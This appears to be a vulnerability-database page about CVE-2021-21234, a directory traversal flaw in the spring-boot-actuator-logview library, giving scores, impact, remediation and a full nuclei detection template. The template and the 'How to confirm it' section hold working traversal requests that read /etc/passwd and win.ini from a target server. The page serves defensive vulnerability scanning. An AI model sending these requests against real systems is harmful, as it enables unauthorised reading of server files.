HexBrain

Browse / CVEs / CVE-2021-21234

CVE-2021-21234· spring-boot-actuator-logview project / spring-boot-actuator-logview· CWE-22

Spring Boot Actuator Logview Directory Traversal

highseverity
7.7CVSS score
21.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".

Impact

This vulnerability can lead to unauthorized access to sensitive information stored on the server.

Fix

Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator.

How to confirm it

Send: GET {{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ ; GET {{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ ; GET {{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../ ; GET {{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../
Positive when: contains(header,'text/plain') and regex('root:.*:0:0:', body) and status_code == 200 OR contains(header,'text/plain') and contains(body, 'bit app support') and contains(body, 'fonts') and contains(body, 'extensions') and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-21234 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-21234

info:
  name: Spring Boot Actuator Logview Directory Traversal
  author: gy741,pikpikcu
  severity: high
  description: |
    spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information stored on the server.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator.
  reference:
    - https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
    - https://github.com/cristianeph/vulnerability-actuator-log-viewer
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21234
    - https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772
    - https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6
    - https://blog.csdn.net/qq_39583774/article/details/123023770#t5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2021-21234
    cwe-id: CWE-22
    epss-score: 0.21173
    epss-percentile: 0.97604
    cpe: cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: spring-boot-actuator-logview_project
    product: spring-boot-actuator-logview
  tags: cve2021,cve,springboot,lfi,actuator,spring-boot-actuator-logview_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
      - "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
      - "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
      - "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "contains(header,'text/plain')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(header,'text/plain')"
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from